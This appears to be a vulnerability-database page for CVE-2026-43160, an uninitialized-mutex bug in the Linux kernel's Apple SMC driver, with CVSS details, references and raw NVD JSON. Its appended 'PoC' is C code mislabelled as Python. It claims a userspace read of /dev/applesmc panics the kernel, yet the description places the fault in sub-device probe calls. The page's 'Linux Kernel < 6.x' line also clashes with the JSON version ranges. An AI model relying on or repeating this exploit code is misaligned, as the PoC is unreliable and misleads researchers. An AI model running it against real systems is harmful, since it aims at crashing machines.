CVE-2026-43160

Description

In the Linux kernel, the following vulnerability has been resolved: mfd: macsmc: Initialize mutex Initialize struct apple_smc's mutex in apple_smc_probe(). Using the mutex uninitialized surprisingly resulted only in occasional NULL pointer dereferences in apple_smc_read() calls from the probe() functions of sub devices.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.x (specific commits 2d59325, 414f65d, a1e9e29)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-43160
 * Trigger: Local read operation on the affected device
 * Result: Kernel NULL pointer dereference / Panic
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

#define DEVICE_PATH "/dev/applesmc"

int main() {
    int fd;
    char buffer[128];
    ssize_t bytes_read;

    printf("[+] Attempting to trigger CVE-2026-43160...");

    // Open the device node associated with the vulnerable driver
    fd = open(DEVICE_PATH, O_RDONLY);
    if (fd < 0) {
        perror("[-] Failed to open device");
        return 1;
    }

    printf("[+] Device opened. Triggering read...");

    // Attempt to read from the device.
    // This path leads to apple_smc_read() -> mutex_lock(&smc->lock)
    // Since the mutex was not initialized in apple_smc_probe(),
    // this triggers a NULL pointer dereference.
    bytes_read = read(fd, buffer, sizeof(buffer));
    
    if (bytes_read < 0) {
        perror("read");
    } else {
        printf("[+] Read succeeded (unexpected, vulnerability might not be triggered or patched)");
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43160
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43160
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43160/
[4] VulDB https://vuldb.com/cve/CVE-2026-43160
[5] https://git.kernel.org/stable/c/2d5932588f029f7787f52c29174fead9bbc6b2cf
[6] https://git.kernel.org/stable/c/414f65d6736342c77d4ec5e7373039f4a09250dd
[7] https://git.kernel.org/stable/c/a1e9e299c0d9ea42ab1067b39fb72e976d3f1bdb

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43160", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:33.997", "lastModified": "2026-05-13T21:20:17.603", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmfd: macsmc: Initialize mutex\n\nInitialize struct apple_smc's mutex in apple_smc_probe(). Using the\nmutex uninitialized surprisingly resulted only in occasional NULL\npointer dereferences in apple_smc_read() calls from the probe()\nfunctions of sub devices."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.17", "versionEndExcluding": "6.18.16", "matchCriteriaId": "742E05BA-773A-4EF3-822F-A4A7DED31A65"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2d5932588f029f7787f52c29174fead9bbc6b2cf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/414f65d6736342c77d4ec5e7373039f4a09250dd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a1e9e299c0d9ea42ab1067b39fb72e976d3f1bdb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}